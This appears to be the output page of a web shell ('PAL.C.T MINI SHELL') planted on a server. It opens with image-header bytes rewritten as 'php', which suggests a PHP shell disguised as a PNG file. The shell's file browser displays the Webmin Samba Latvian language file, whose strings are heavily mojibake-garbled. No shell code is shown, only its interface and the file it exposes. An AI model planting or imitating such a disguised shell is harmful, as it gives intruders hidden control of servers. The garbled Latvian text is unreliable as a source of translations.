‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/samba/lang/
upload
files >> //usr/libexec/webmin/samba/lang/lv.auto

index_title=Samba Windows failu koplietošana
index_sharelist=akciju saraksts
index_userlist=lietotÄju saraksts
index_fileshare=failu koplietošana
index_printershare=printera koplietošana
index_shareconf=koplietot konfigurÄciju
index_version=Samba versija $1 
index_samba=Samba

index_sharename=Akcijas nosaukums
index_path=Ceļš
index_security=Drošība
index_homedir=Visi mÄjas direktoriji
index_allprinter=Visi printeri
index_printer=Printeris
index_defaultprn=Noklusējuma printeris
index_printableto=DrukÄjams lÄ«dz
index_prneveryone=DrukÄjams visiem
index_prnalluser=DrukÄjams visiem zinÄmajiem lietotÄjiem
index_rwpublic=Lasīt/rakstīt visiem
index_readonly=Tikai lasÄ«t $1 <br><br> LasÄ«t/rakstÄ«t visiem citiem zinÄmajiem lietotÄjiem
index_rwalluser=LasÄ«t/rakstÄ«t visiem zinÄmajiem lietotÄjiem
index_roeveryone=Lasīt tikai visiem
index_readwrite=LasÄ«t/rakstÄ«t $1 <br> LasÄ«t tikai visiem citiem zinÄmajiem lietotÄjiem
index_roalluser=LasÄ«t tikai visiem zinÄmajiem lietotÄjiem
index_noshares=Nav definētas Samba akcijas
index_createfileshare=Izveidojiet jaunu failu koplietošanu.
index_createprnshare=Izveidojiet jaunu printera koplietošanu.
index_createcopy=Izveidojiet jaunu kopiju.
index_view=Skatīt visus savienojumus.
index_start=Startējiet Samba serverus
index_start_wb=Startējiet Winbind serverus
index_startmsg=Å Ä·iet, ka Samba serveri nedarbojas jÅ«su sistÄ“mÄ. Tas nozÄ«mÄ“, ka iepriekÅ¡ uzskaitÄ«tÄs akcijas nebÅ«s pieejamas citiem datoriem.
index_startmsg_wb=Liekas, ka Winbind serveri nedarbojas jÅ«su sistÄ“mÄ.
index_restart=Restartējiet Samba serverus
index_restart_wb=Restartējiet Winbind serverus
index_restartmsg=Noklikšķiniet uz šīs pogas, lai restartÄ“tu savÄ sistÄ“mÄ darbojasjoÅ¡os Samba serverus. Tas piespiedÄ«s piemÄ“rot paÅ¡reizÄ“jo konfigurÄciju.
index_restartmsg_wb=Noklikšķiniet uz šīs pogas, lai restartÄ“tu jÅ«su sistÄ“mÄ darbojas Winbind serverus.
index_restartmsg2=Tas arÄ« atvienos visus savienojumus ar serveri, tÄpÄ“c, ja nevÄ“laties, lai paÅ¡reizÄ“jÄ konfigurÄcija tiktu piemÄ“rota nekavÄ“joties, jums jÄgaida tikai 1 minÅ«te, lÄ«dz Samba automÄtiski ielÄdÄ“ konfigurÄciju.
index_stop=PÄrtrauciet Samba serverus
index_stop_wb=PÄrtrauciet Winbind serverus
index_stopmsg=Noklikšķiniet uz šīs pogas, lai izslÄ“gtu darbojasjoÅ¡os Samba serverus jÅ«su sistÄ“mÄ. Visi lietotÄji, kas paÅ¡laik ir pieteikuÅ¡ies, tiks piespiedu kÄrtÄ atvienoti.
index_stopmsg_wb=Noklikšķiniet uz šīs pogas, lai izslÄ“gtu darbojasjoÅ¡os Winbind serverus jÅ«su sistÄ“mÄ.
index_einclude=BrÄ«dinÄjums - jÅ«su Samba konfigurÄcijas failÄ $1 ir $2 vai $3 direktÄ«va. Tas var izraisÄ«t Webmin nepareizu faila modifikÄciju.
index_delete=DzÄ“st atlasÄ«tÄs akcijas

config_mins=Mins
config_secs=Sek
config_bytes=Baiti
config_never=Nekad
config_all=Visi
config_neither=Neviens

global_title=GlobÄlÄ konfigurÄcija
global_unixnetwork=Unix tīklošana
global_winnetwork=Windows tīklošana
global_auth=AutentifikÄcija
global_printing=Windows uz Unix drukÄÅ¡anu
global_misc=DažÄdas iespÄ“jas
global_filedefault=Failu koplietošanas noklusējumi
global_prndefault=Noklusējuma printera koplietošana
global_password=Šifrētas paroles
global_users=Samba lietotÄji
global_group=Samba grupas
global_bind=Winbind opcijas

error_nosamba=Samba servera izpildÄmÄ <tt>$1</tt> netika atrasts. Vai nu Samba nav instalÄ“ta jÅ«su sistÄ“mÄ, vai arÄ« <a href="$2">moduļa konfigurÄcija</a> ir nepareiza.
error_version=Webmin neizdevÄs iegÅ«t jÅ«su izpildÄmÄ Samba servera versiju <tt>$1</tt>. PÄrbaudiet <a href="$2">moduļa konfigurÄciju</a>, lai pÄrliecinÄtos, ka tas ir pareizais ceļš.
error_config=KonfigurÄcijas fails $1 netika atrasts. VisticamÄk, Samba nav instalÄ“ta jÅ«su sistÄ“mÄ, vai arÄ« <a href="$2">moduļa konfigurÄcija</a> ir nepareiza.
error_include=Webmin nevar apstrÄdÄt Samba konfigurÄcijas failus, kas izmanto <tt>config</tt> vai <tt>ietver</tt> direktÄ«vas.
error_delshare=NeizdevÄs izdzÄ“st kopÄ«goÅ¡anu
error_delcopy=Akcija “$1†tiek kopēta no šīs akcijas
error_savename=NeizdevÄs saglabÄt failu nosaukÅ¡anu

convert_title=LietotÄju konvertēšana
convert_msg=Å Ä« forma ļauj sinhronizÄ“t Unix un Samba lietotÄju sarakstu. Kad Samba izmanto <a href=$1>Å¡ifrÄ“tas paroles</a>, sistÄ“mas lietotÄju saraksta vietÄ tiek izmantots atsevišķs lietotÄju un paroļu saraksts.
convert_noconv=NekonvertÄ“t vai noņemt Å¡os lietotÄjus:
convert_ncdesc=NepÄrveidojamo lietotÄju saraksts var saturÄ“t lietotÄjvÄrdus, UID, grupu nosaukumus, kas ir apzÄ«mÄ“ti ar <tt>@</tt>, vai tÄdus UID diapazonus kÄ <i>500–1000</i> vai <i>500–</I> >.
convert_update=Atjauniniet esoÅ¡os Samba lietotÄjus no viņu Unix informÄcijas
convert_add=Pievienojiet jaunus Samba lietotÄjus no Unix lietotÄju saraksta
convert_delete=IzdzÄ“siet Samba lietotÄjus, kuri neeksistÄ“ zem Unix
convert_newuser=Jaunizveidotiem lietotÄjiem iestatiet paroli uz:
convert_nopasswd=Nav paroles
convert_lock=Konts ir bloķēts
convert_passwd=Izmantojiet šo paroli
convert_convert=LietotÄju konvertēšana
convert_cannot=Unix lietotÄjus nevar pÄrveidot par Samba lietotÄjiem
convert_who=Unix lietotÄji konvertēšanai
convert_who0=Tikai uzskaitÄ«tie lietotÄji vai UID diapazoni
convert_who1=Visi, izņemot uzskaitÄ«tos lietotÄjus un UID diapazonus

misc_title=DažÄdas iespÄ“jas
misc_debug=Atkļūdošanas līmenis
misc_cachecall=Kešatmiņa <tt>getwd ()</tt> prasa?
misc_lockdir=Bloķēt direktoriju
misc_log=ŽurnÄla fails
misc_maxlog=MaksimÄlais žurnÄla izmÄ“rs
misc_rawread=Vai atļaut neapstrÄdÄtus lasÄ«jumus?
misc_rawwrite=Vai atļaut neapstrÄdÄtus rakstus?
misc_overlapread=LasÄmais izmÄ“rs pÄrklÄjas
misc_chroot=<tt>chroot ()</tt> direktorijs
misc_smbrun=Ceļš uz <tt>smbrun</tt>
misc_clienttime=Klienta laika nobīde
misc_readprediction=Lasīt prognozi?

net_title=Unix tīkla iespējas
net_idle=Gaidīšanas laiks pirms atvienošanas
net_trustlist=Uzticamu saimnieku/lietotÄju fails
net_netinterface=Tīkla saskarnes
net_auto=AutomÄtiska
net_uselist=Izmantot sarakstu. ..
net_interface=Saskarne
net_netmask=Netmasks
net_keepalive=Keepalive paciņas
net_notsend=Nesūtiet nevienu
net_every=Sūtiet katru
net_maxpacket=MaksimÄlais pakas lielums
net_listen=Klausieties uz adresi
net_ip=IP adrese
net_socket=Kontaktligzdas iespējas

passwd_title=Paroles opcijas
passwd_encrypt=Vai izmantot šifrētas paroles?
passwd_allownull=Vai atļaut nulle paroles?
passwd_program=Paroļu programma
passwd_case=Paroles atšķirība
passwd_sync=Mainīt arī Unix paroli?
passwd_chat=Mainīt paroles tērzēšanu
passwd_below=SarakstÄ zemÄk:
passwd_waitfor=Gaidīt
passwd_send=Sūtīt
passwd_map=LietotÄjvÄrda kartēšana
passwd_unixuser=Unix lietotÄji
passwd_winuser=Windows lietotÄji

print_title=DrukÄÅ¡anas opcijas
print_style=Unix drukas stils
print_show=RÄdÄ«t visus printerus?
print_printcap=Printcap fails
print_cachetime=Printera statusa kešatmiņas laiks

smb_title=Windows tīkla iespējas
smb_workgroup=Darba grupa
smb_wins=WINS režīms
smb_winsserver=Esiet WINS serveris
smb_useserver=Izmantojiet serveri
smb_description=Servera apraksts
smb_descriptionnone=Nav
smb_name=Servera nosaukums
smb_aliase=Servera pseidonīmi
smb_default=Noklusējuma pakalpojums
smb_show=VienmÄ“r rÄdiet pakalpojumus
smb_disksize=MaksimÄlais uzrÄdÄ«tais diska lielums
smb_unlimited=Neierobežots
smb_winpopup=Winpopup komanda
smb_priority=GalvenÄ pÄrlÅ«ka prioritÄte
smb_protocol=AugstÄkais protokols
smb_master=Galvenais pÄrlÅ«ks?
smb_master_auto=AutomÄtiska
smb_security=Drošība
smb_sharelevel=Akciju līmenis
smb_userlevel=LietotÄja lÄ«menis
smb_passwdserver=Paroles serveris
smb_server=Paroles serveris
smb_domain=Domēns
smb_ads=AktÄ«vÄ direktorija
smb_announce=TÄlvadÄ«bas paziņojums adresÄtam
smb_nowhere=Nekur
smb_fromlist=No saraksta. ..
smb_ip=IP adrese
smb_asworkgroup=<b>KÄ darba grupa</b> (nav obligÄti)

create_title=Izveidot kopiju
create_msg=Kopiju kopija mantos visas tÄ noklusÄ“juma vÄ“rtÄ«bas no jÅ«su izvÄ“lÄ“tÄs kopijas. Ja tiek mainÄ«ta avota daļa, tiks mainÄ«ta arÄ« kopija.
create_from=Koplietot, lai kopētu no:
create_name=Jauns akcijas nosaukums:

smbuser_title=Samba lietotÄji
smbuser_list=Samba lietotÄju saraksts
smbuser_nouser=Nav definÄ“ts neviens Samba lietotÄjs.
smbuser_cannot=Samba lietotÄjus nevar uzskaitÄ«t

euser_title=Rediģēt Samba lietotÄju
euser_name=LietotÄjvÄrds
euser_uid=Unix UID
euser_passwd=Parole
euser_noaccess=Nav piekļuves
euser_nopw=Nav paroles
euser_currpw=PaÅ¡reizÄ“jÄ parole
euser_newpw=Jauna parole
euser_realname=Īstais vÄrds
euser_homedir=SÄkuma katalogs
euser_shell=Apvalks
euser_option=LietotÄja iespÄ“jas
euser_normal=Parasts lietotÄjs
euser_noexpire=Paroles derīguma termiņš nekad nav beidzies
euser_locked=Konts ir bloķēts
euser_nopwrequired=Parole nav nepieciešama
euser_disable=Konts ir atspējots
euser_trust=Darbstacijas trasta konts

fmisc_title=DažÄdi faila noklusÄ“jumi
fmisc_for=Akcijai <tt>$1</tt>
fmisc_lockfile=Vai failu bloķēšana?
fmisc_maxconn=Max savienojumi
fmisc_fake=Viltus oplocks?
fmisc_oplocks=Vai iespējot oplocks?
fmisc_level2=Tikai lasÄmas oplocks?
fmisc_sharemode=Vai izmantot kopīgošanas režīmus?
fmisc_strict=Stingra bloķēšana?
fmisc_sync=Sinhronizēt pēc rakstīšanas?
fmisc_volume=Apjoma nosaukums
fmisc_sameas=Tas pats, kas akciju
fmisc_unixdos=Unix-DOS faila nosaukuma karte
fmisc_conncmd=Komanda palaist savienojumu
fmisc_disconncmd=Komandu, lai darbotos atvienot
fmisc_rootconn=Komanda palaist savienojumu <i>kÄ saknes</i>
fmisc_rootdisconn=Komandu, lai darbotos atvienot <i>kÄ saknes</i>

fname_title1=Failu nosaukšanas noklusējumi
fname_title2=Rediģēt faila nosaukšanu
fname_option=Failu nosaukšanas opcijas
fname_manglecase=Mangle lieta?
fname_case=Reģistrjutīgais?
fname_defaultcase=Noklusējuma lieta?
fname_lower=ZemÄks
fname_upper=AugšējÄ
fname_preserve=SaglabÄt lietu?
fname_shortpreserve=Īss saglabÄÅ¡anas gadÄ«jums?
fname_hide=Vai paslēpt punktveida failus?
fname_archive=Vai saglabÄt DOS arhÄ«va karogu?
fname_hidden=Vai saglabÄt DOS slÄ“pto karogu?
fname_system=Vai saglabÄt DOS sistÄ“mas karodziņu?

fperm_title1=Failu atļauju noklusējumi
fperm_title2=Rediģēt faila atļaujas
fperm_option=Failu atļauju opcijas
fperm_filemode=Jauns Unix faila režīms
fperm_dirmode=Jauns Unix direktoriju režīms
fperm_notlist=Katalogi nav jÄuzskaita
fperm_forceuser=Piespiest Unix lietotÄju
fperm_forcegrp=Force Unix grupa
fperm_link=Vai atļaut saiknes Ärpus koplietoÅ¡anas?
fperm_delro=Vai var izdzÄ“st tikai lasÄmus failus?
fperm_forcefile=Piespiest Unix faila režīmu
fperm_forcedir=Piespiest Unix direktorijas režīmu

share_title1=Failu koplietošanas noklusējumi
share_title2=Rediģēt failu koplietošanu
share_title3=Izveidot failu koplietošanu
share_info=KopÄ«got informÄciju
share_copy=Šī daļa ir <i>$1</i> kopija
share_name=Akcijas nosaukums
share_home=MÄjas direktoriju kopÄ«goÅ¡ana
share_dir=KoplietojamÄ direktorija
share_create=Vai automÄtiski izveidot direktoriju?
share_owner=Izveidot kopÄ ar Ä«paÅ¡nieku
share_createperms=Izveidot ar atļaujÄm
share_group=Izveidot ar grupu
share_available=Pieejams?
share_browseable=PÄrlÅ«kojams?
share_comment=KopÄ«got komentÄru
share_view=Skatīt savienojumus
share_option=Citas akciju opcijas
share_security=Drošība un piekļuves kontrole
share_permission=Failu atļaujas
share_naming=Failu nosaukšana
share_misc=DažÄdas iespÄ“jas
share_samedesc1=Piezīme. Šie iestatījumi ietekmē arī visu failu koplietošanu.
share_samedesc2=Piezīme. Šie iestatījumi ietekmē arī visu printera koplietošanu.

print_title1=NoklusÄ“tÄs printera opcijas
print_title2=Rediģēt printera opcijas
print_option=Printera opcijas
print_minspace=MinimÄlÄ brÄ«vÄ vieta
print_postscript=Piespiedu pÄ“cspieduma drukÄÅ¡ana
print_command=DrukÄÅ¡anas komanda
print_queue=RÄdÄ«t rindas komandu
print_delete=Dzēst darba komandu
print_pause=Pauzēt darba komandu
print_unresume=NeatstÄj darba komandu
print_driver=Printera draiveris

pshare_title1=Noklusējuma printera koplietošana
pshare_title2=Rediģēt printera koplietošanu
pshare_title3=Izveidot printera koplietošanu
pshare_info=KopÄ«got informÄciju
pshare_name=Akcijas nosaukums
pshare_all=Visi printeri dalÄs
pshare_unixprn=Unix printeris
pshare_spool=Spolīšu katalogs

sec_index1=Drošības noklusējumi
sec_index2=Rediģēt drošību
sec_writable=UzrakstÄms?
sec_guest=Viesu piekļuve?
sec_guestonly=Tikai viesi
sec_guestaccount=Viesa Unix lietotÄjs
sec_limit=Ierobežot iespējamo sarakstu?
sec_allowhost=Saimnieki atļauj
sec_onlyallow=Atļaut tikai
sec_denyhost=Saimnieki noliedz
sec_onlydeny=Tikai noliedz
sec_revalidate=LietotÄju atkÄrtota pÄrbaude?
sec_validuser=DerÄ«gi lietotÄji
sec_validgroup=Derīgas grupas
sec_invaliduser=NederÄ«gi lietotÄji
sec_invalidgroup=Nederīgas grupas
sec_possibleuser=IespÄ“jamie lietotÄji
sec_possiblegroup=IespÄ“jamÄs grupas
sec_rouser=Tikai lasÄmie lietotÄji
sec_rogroup=Lasīt tikai grupas
sec_rwuser=LasÄ«t/rakstÄ«t lietotÄjus
sec_rwgroup=Lasīt/rakstīt grupas

esync_title=LietotÄja sinhronizÄcija
esync_msg=Webmin var konfigurÄ“t tÄ, lai izmaiņas Unix lietotÄju sarakstÄ tiktu automÄtiski piemÄ“rotas Samba lietotÄju sarakstam. Tas darbosies tikai tad, ja modulis <b>LietotÄji un grupas</b> Webmin tiek izmantots lietotÄju pievienoÅ¡anai, dzēšanai vai mainīšanai.
esync_add=Pievienojiet Samba lietotÄju, kad tiek pievienots Unix lietotÄjs
esync_chg=Mainiet Samba lietotÄju, kad tiek mainÄ«ts Unix lietotÄjs
esync_del=IzdzÄ“siet lietotÄju Samba, kad tiek izdzÄ“sts Unix lietotÄjs
esync_del_profile=Viesabonēšanas profila dzēšana, kad tiek izdzÄ“sts Unix lietotÄjs
esync_chg_profile=PÄrdÄ“vÄ“jiet viesabonēšanas profilu, kad Unix lietotÄjs tiek pÄrdÄ“vÄ“ts
esync_gid=Grupas SID vai RID jauniem lietotÄjiem
esync_apply=Piesakies
esync_cannot=LietotÄja sinhronizÄciju nevar konfigurÄ“t
esync_egid=Trūkst grupas SID vai RID

mkpass_title=LietotÄju konvertēšana
mkpass_convfail=NeizdevÄs konvertÄ“t lietotÄju
mkpass_msg=Notiek Unix lietotÄju konvertēšana. ..
mkpass_skip=Izlaists
mkpass_same=Jau tas pats
mkpass_update=AtjauninÄts
mkpass_added=Pievienots
mkpass_del=Dzēsts
mkpass_passfail=NeizdevÄs iestatÄ«t paroli
mkpass_user=LietotÄjvÄrds
mkpass_action=Darbība veikta
mkpass_skipcount=$1 lietotÄji tika izlaisti reklÄmguvumu veikÅ¡anai.

savecopy_fail=NeizdevÄs izveidot kopiju
savecopy_global=Nosaukumu “global†nevar izmantot akcijai
savecopy_exist=Akcija ar nosaukumu “$1†jau pastÄv
savecopy_ename=Nav ievadīts neviens akcijas nosaukums

saveuser_fail=NeizdevÄs saglabÄt lietotÄju
saveuser_uid='$1' nav derīgs Unix UID
saveuser_colon=ĪstajÄ vÄrdÄ nevar bÅ«t rakstzÄ«me :
saveuser_home=MÄjas direktorija '$1' neeksistÄ“
saveuser_shell=$1 nav derīgs apvalks
saveuser_pass=NeizdevÄs mainÄ«t paroli, izmantojot smbpasswd : $1 
saveuser_ews=EsoÅ¡ajiem lietotÄjiem nevar iespÄ“jot opciju “Darbstacijas uzticamÄ«bas kontsâ€

savefmisc_fail=NeizdevÄs saglabÄt dažÄdas iespÄ“jas
savefmisc_number='$1' nav derīgs savienojumu skaits

savefperm_fail=NeizdevÄs saglabÄt failu atļaujas
savefperm_mode='$1' nav derīgs Unix faila režīms

savefshare_fail=NeizdevÄs saglabÄt kopÄ«goÅ¡anu
savefshare_nopath=Ceļš nav dots
savefshare_exist=Akcija ar nosaukumu “$1†jau pastÄv
savefshare_mode=“$1†nav derīgs akcijas nosaukums
savefshare_global=Nosaukumu “global†nevar izmantot akcijai
savefshare_owner=TrÅ«kst vai nav derÄ«gs jaunÄ direktorija Ä«paÅ¡nieks
savefshare_group=TrÅ«kst vai nav derÄ«ga jaunÄ direktorija grupa
savefshare_perms=TrÅ«kst vai nav derÄ«gas jaunÄ direktorija atļaujas
savefshare_emkdir=NeizdevÄs izveidot direktoriju : $1 

savemisc_fail=NeizdevÄs saglabÄt opcijas
savemisc_lockdir=Mape, kurÄ ir bloķēšanas direktorija, neeksistÄ“
savemisc_logdir=Direktorija, kurÄ ir žurnÄlfails, neeksistÄ“
savemisc_logsize='$1' nav derÄ«gs žurnÄla lielums
savemisc_overlap='$1' nav derÄ«gs lasÄmÄ izmÄ“ra pÄrklÄÅ¡anÄs
savemisc_chroot=Chroot direktorija “$1†neeksistē
savemisc_smbrun=Smbrun programma '$1' neeksistÄ“ vai nav izpildÄma
savemisc_time='$1' nav derīgs laika nobīde

savenet_fail=NeizdevÄs saglabÄt opcijas
savenet_timeout='$1' nav derīgs atvienošanas noildze
savenet_ip='$1' nav derīgs IP baits
savenet_keep='$1' nav derÄ«gs saglabÄÅ¡anas intervÄls
savenet_maxxmit='$1' nav derÄ«gs maksimÄlais paketes lielums

savepass_fail=NeizdevÄs saglabÄt opcijas
savepass_nopass=Jūsu Samba versija neatbalsta šifrētas paroles
savepass_passwd=Parole netiek mainīta
savepass_level='$1' nav pareiza paroles atšķirība
savepass_chat=Paroles maiņas tērzēšanas secība ir tukša

savepopts_fail=NeizdevÄs saglabÄt printera opcijas
savepopts_number=MinimÄlajai brÄ«vajai vietai jÄbÅ«t skaitlim

saveprint_fail=NeizdevÄs saglabÄt opcijas
saveprint_printcap=Printcap fails '$1' neeksistē
saveprint_cache='$1' nav derīgs kešatmiņas laiks

savepshare_fail=NeizdevÄs saglabÄt printera koplietoÅ¡anu
savepshare_exist=Akcija ar nosaukumu “$1†jau pastÄv
savepshare_name=“$1†nav derīgs akcijas nosaukums
savepshare_global=Nosaukumu “global†nevar izmantot akcijai

savesec_fail=NeizdevÄs saglabÄt drošību

savesmb_fail=NeizdevÄs saglabÄt opcijas
savesmb_size=“$1†nav derīgs diska lielums
savesmb_oslevel='$1' nav derÄ«ga galvenÄ pÄrlÅ«ka prioritÄte
savesmb_server=Jums jÄievada paroles serveris

start_err=NeizdevÄs palaist Samba serverus
start_fail=$1 neizdevÄs
start_err_wb=NeizdevÄs palaist Winbind serverus

restart_err=NeizdevÄs restartÄ“t Samba serverus
restart_err_wb=NeizdevÄs restartÄ“t Winbind serverus

swats_fail=NeizdevÄs saglabÄt lietotÄjvÄrdu
swats_user=TrÅ«kst SWAT lietotÄjvÄrda

viewu_index=PaÅ¡reizÄ“jie lietotÄji
viewu_list=PaÅ¡reizÄ“jie $1 lietotÄji
viewu_share=Dalies
viewu_user=LietotÄjs
viewu_group=Grupa
viewu_from=Pievienots no plkst
viewu_time=Savienots plkst
viewu_pid=Procesa ID
viewu_msg1=AugšējÄ sarakstÄ noklikšķiniet uz procesa ID, lai atvienotu lietotÄju.
viewu_msg2=PaÅ¡laik nav neviena pievienota lietotÄja.
viewu_locks=Atveriet failus
viewu_none=Nav
viewu_ecmd=Å Ä·iet, ka Samba statusa programma $1 nav instalÄ“ta jÅ«su sistÄ“mÄ. VarbÅ«t <a href='$2'>moduļa konfigurÄcija</a> ir nepareiza.
viewu_kill=Atvienojiet atlasÄ«tos lietotÄjus
viewu_enone=Nav atlasÄ«ts neviens lietotÄjs
viewu_refresh=AtsvaidzinÄt lapu.

log_apply=Restartēti Samba serveri
log_apply_wb=Restartēti Winbind serveri
log_stop=Apturēti Samba serveri
log_stop_wb=Apturēti Winbind serveri
log_start=Startēja Samba serveri
log_start_wb=Startēja Winbind serveri
log_save_fshare=PÄrveidota faila daļa $1 
log_save_pshare=Modificēta printera daļa $1 
log_save_sec=PÄrveidota drošības un piekļuves kontrole kopÄ«goÅ¡anai $1 
log_save_fperm=Modificētas faila atļaujas kopīgošanai $1 
log_save_fname=PÄrveidota faila nosaukÅ¡ana kopÄ«goÅ¡anai $1 
log_save_fmisc=PÄrveidotas dažÄdas opcijas akcijai $1 
log_save_popts=Modificētas printera opcijas kopīgošanai $1 
log_default_fshare=Mainīti faila koplietošanas noklusējumi
log_default_pshare=Mainīti printera koplietošanas noklusējumi
log_kill=Atvienots process $1 
log_skill=$1 process ir atvienots no $2 
log_kills=Atvienoti $1 procesi
log_skills=$1 process ir atvienots no $2 
log_create_fshare=Izveidota faila daļa $1 
log_create_pshare=Izveidota printera daļa $1 
log_delete_fshare=Izdzēsta faila daļa $1 
log_delete_pshare=Izdzēsts printera koplietojums $1 
log_delete_shares=Dzēstas $1 akcijas
log_net=Mainītas Unix tīkla iespējas
log_smb=Mainītas Windows tīkla iespējas
log_pass=MainÄ«tas autentifikÄcijas iespÄ“jas
log_print=MainÄ«ja Windows uz Unix drukÄÅ¡anas opcijÄm
log_misc=MainÄ«tas dažÄdas iespÄ“jas
log_bind=Mainiet Winbind opcijas
log_sync=KonfigurÄ“ta Unix lietotÄja sinhronizÄcija
log_epass=Unix lietotÄji tika pÄrveidoti par Samba lietotÄjiem
log_epass_l=Unix lietotÄji tika pÄrveidoti par Samba lietotÄjiem ($1 izveidots, $2 modificÄ“ts, $3 izdzÄ“sts)
log_copy=Kopēta daļa no $2 līdz $1 
log_save_euser=ModificÄ“ts Samba lietotÄjs $1 
log_delete_euser=DzÄ“sts Samba lietotÄjs $1 
log_create_group=Izveidota grupa $1 Samba
log_modify_group=PÄrveidota Samba grupa $1 
log_delete_group=Dzēsa $1 grupas Samba
log_gsync=KonfigurÄ“ta Unix grupas sinhronizÄcija
log_manual=ManuÄli rediģēts konfigurÄcijas fails $1 

swat_title=SWAT pieteikÅ¡anÄs
swat_list=SWAT pieteikÅ¡anÄs
swat_msg1=JÅ«su paÅ¡reizÄ“jais SWAT lietotÄjvÄrds un parole nav pareiza. Izmantojiet zemÄk esoÅ¡o formu, lai vÄ“lreiz pieteiktos.
swat_msg2=Lai pieteiktos SWAT, ir nepiecieÅ¡ams lietotÄjvÄrds un parole. Parasti tas var bÅ«t jebkurÅ¡ jÅ«su sistÄ“mas lietotÄjs.
swat_msg3=JÅ«s nevarat palaist SWAT caur Webmin, jo Samba konfigurÄcijÄ ir iestatÄ«ta opcija <tt>$1 :...</tt> (atļaut resursdatorus).
swat_msg4=Tomēr, iespējams, var izveidot savienojumu ar SWAT tieši $1 
swat_username=LietotÄjvÄrds
swat_password=Parole
swat_login=Pieslēgties
swat_clear=Skaidrs
swat_logout=SWAT atteikÅ¡anÄs

eacl_aviol=Piekļuves kontroles pÄrkÄpums
eacl_np=Jums nav atļauju
eacl_papply=restartējiet šo pakalpojumu
eacl_pcn=rediģēt unix tīkla iespējas
eacl_pcs=rediģēt smb tīkla iespējas
eacl_pcp=rediģēt paroles opcijas
eacl_pcprint=rediģēt drukÄÅ¡anas opcijas
eacl_pcm=rediģēt dažÄdas iespÄ“jas
eacl_pcswat=izmantojiet SWAT
eacl_pcopy=kopēt akcijas
eacl_pconn_all=apskatiet visus savienojumus
eacl_pconn=skatiet šīs koplietošanas savienojumus
eacl_pgkill=nogalinÄt savienojumus
eacl_pkill=nogalinÄt Å¡o savienojumu
eacl_pus=atjauninÄt kopÄ«goÅ¡anu
eacl_pcrs=izveidot daļu
eacl_pds=dzēst koplietot
eacl_pusec=atjauniniet šīs koplietošanas drošības un piekļuves kontroles iespējas
eacl_pufperm=atjauninÄt faila atļaujas opcijas Å¡ai kopÄ«goÅ¡anai
eacl_pufname=atjauninÄt faila nosaukÅ¡anas opcijas Å¡ai kopÄ«goÅ¡anai
eacl_pufmisc=atjauninÄt misc. opcijas Å¡ai akcijai
eacl_pupopt=atjauniniet printera opcijas šai koplietošanai
eacl_pmpass=inicializÄ“t Samba lietotÄju datu bÄzi
eacl_pmsync=uzturÄ“t Unix-Samba lietotÄju sinhronizÄciju
eacl_pmusers=uzturÄ“t Samba lietotÄjus
eacl_pvusers=piekļūt Samba lietotÄjiem
eacl_pvfmisc=piekļuves misc. opcijas šai akcijai
eacl_pvfname=piekļūt faila nosaukÅ¡anas opcijÄm Å¡ai kopÄ«goÅ¡anai
eacl_pvperm=piekļūt faila atļaujas opcijÄm Å¡ai kopÄ«goÅ¡anai
eacl_pvsec=piekļuves drošība un piekļuves kontroles iespējas šai kopīgošanai
eacl_pvpopt=piekļūt printera opcijÄm Å¡ai kopÄ«goÅ¡anai
eacl_pafs=piekļūt šai faila kopīgošanai
eacl_paps=piekļūt šai printera koplietošanai
eacl_pcps=izveidot printera koplietošanu
eacl_pcfs=izveidot failu koplietošana

acl_apply=Vai var piemērot izmaiņas un apturēt Samba?
acl_view_all_con=Vai var apskatīt visus savienojumus?
acl_kill_con=Vai var noņemt savienojumus?
acl_conf_net=Vai var konfigurēt Unix tīkla opcijas?
acl_conf_smb=Vai var konfigurēt Windows tīkla opcijas?
acl_conf_pass=Vai var konfigurÄ“t autentifikÄcijas opcijas?
acl_conf_print=Vai var konfigurēt printera opcijas?
acl_conf_misc=Var konfigurēt misc. iespējas?
acl_swat=Vai var izmantot SWAT?
acl_manual=Vai manuÄli var rediģēt konfigurÄcijas failu?
acl_enc_passwd_opts=Šifrētas paroles iespējas
acl_view_users=Vai var apskatÄ«t Samba lietotÄju datu bÄzi?
acl_maint_users=Vai var rediģēt Samba lietotÄjus?
acl_maint_makepass=Vai var pÄrveidot Unix lietotÄjus par Samba lietotÄjiem?
acl_maint_sync=Vai var saglabÄt automÄtisko Unix sinhronizÄciju ar Samba lietotÄjiem?
acl_hide=Vai paslēpt nepieejamus objektus?
acl_c=izveidot
acl_r=lasīt
acl_w=rakstīt
acl_afs=Piekļuve failu koplietošanai
acl_aps=Piekļūstiet drukas kopijÄm
acl_copy=Vai var kopēt akcijas?
acl_per_fs_acls=Vai iespējot viena faila koplietošanas kopijas?
acl_per_ps_acls=Vai iespÄ“jot kopijas, kas tiek izmantotas vienÄ drukÄÅ¡anÄ?
acl_per_share_acls=ACL par akciju. ..
acl_ernow=Ja kÄdam objekta veidam vÄ“laties iespÄ“jot rakstīšanas piekļuvi globÄlajos ACL, jums jÄiespÄ“jo arÄ« lasīšanas piekļuve Å¡im objekta tipam.
acl_sname=Akcijas nosaukums
acl_saccess=Piekļuves daļa
acl_sconn=Savienojumi
acl_sopthdr=Akciju iespējas
acl_ssec=drošība
acl_sperm=atļaujas
acl_snaming=failu nosaukšana
acl_smisc=dažÄdi
acl_sprn=vai printeris
acl_na=n/a
acl_r1=tikai lasīt
acl_rw=Lasīt rakstīt
acl_view=skats
acl_kill=nogalinÄt
acl_edit=rediģēt
acl_group_opts=Samba grupas iespējas
acl_maint_groups=Vai var apskatīt, rediģēt un pievienot grupas?
acl_maint_gsync=Vai var uzturÄ“t automÄtisko Unix un Samba grupu sinhronizÄciju?
acl_winbind=Vai var saistīties ar domēniem?
acl_bind=Vai var piekļūt Winbind opcijÄm?

groups_title=Samba grupas
groups_name=Grupas nosaukums
groups_unix=Unix grupa
